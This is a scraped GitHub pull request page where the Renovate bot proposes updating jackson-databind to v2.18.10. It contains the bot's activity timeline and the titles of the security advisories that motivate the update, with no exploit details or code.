renovate Bot changed the title ~~fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security]~~ Update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [SECURITY] Apr 8, 2026

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [SECURITY]~~ Update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [SECURITY] - autoclosed Apr 27, 2026

renovate Bot closed this Apr 27, 2026

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [SECURITY] - autoclosed~~ Update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [SECURITY] Apr 27, 2026

renovate Bot reopened this Apr 27, 2026

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch 2 times, most recently from 8620b1a to 0b02e5a Compare April 27, 2026 23:28

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 0b02e5a to 18ad0a1 Compare July 4, 2026 03:04

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [SECURITY]~~ Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.8 [SECURITY] Jul 4, 2026

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 18ad0a1 to 7efbaca Compare July 25, 2026 06:57

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.8 [SECURITY]~~ Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.9 [SECURITY] Jul 25, 2026

Update dependency com.fasterxml.jackson.core:jackson-databind to v2.1…

80082c7

…8.10 [SECURITY]

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 7efbaca to 80082c7 Compare October 4, 2026 15:46

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.9 [SECURITY]~~ Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [SECURITY] Oct 4, 2026

Navigation Menu

Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [SECURITY] - #251

Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [SECURITY]#251
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability

renovate Bot commented Mar 18, 2023 •

edited

Loading

Uh oh!

qlty-cloud-legacy Bot commented Mar 31, 2023

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Mar 18, 2023 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uncontrolled Resource Consumption in FasterXML jackson-databind

Details

Severity

References

jackson-databind possible Denial of Service if using JDK serialization to serialize JsonNode

Details

Severity

References

Uncontrolled Resource Consumption in Jackson-databind

Details

Severity

References

Deeply nested json in jackson-databind

Details

Severity

References

jackson-databind: Deeply nested JsonNode throws StackOverflowError for toString()

Details

Impact

Patches

Workarounds

Severity

References

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

Details

Impact

Proof of Concept

Patches

Severity

References

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

Details

Summary

Impact

Affected / Patched (verified via git tag --contains)

Severity / CWE

Upstream fix

Credits

Severity

References

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

Details

Summary

Impact

Affected / Patched

Severity / CWE

Upstream fix

Severity

References

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

Details

Summary

Impact

Affected / Patched (verified via git tag --contains on 1f5a103)

Severity / CWE

Upstream fix

Credits

Severity

References

jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

Details

Summary

Details

PoC

Impact

Severity

References

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

Details

Summary

Description

Vulnerable Code Location

Proof of Concept

Execution Steps

Reproduction Evidence

Impact

Recommended Fix

renovate Bot commented Mar 18, 2023 •

edited

Loading

Affected / Patched (verified via `git tag --contains`)

jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties

Affected / Patched (verified via `git tag --contains` on `1f5a103`)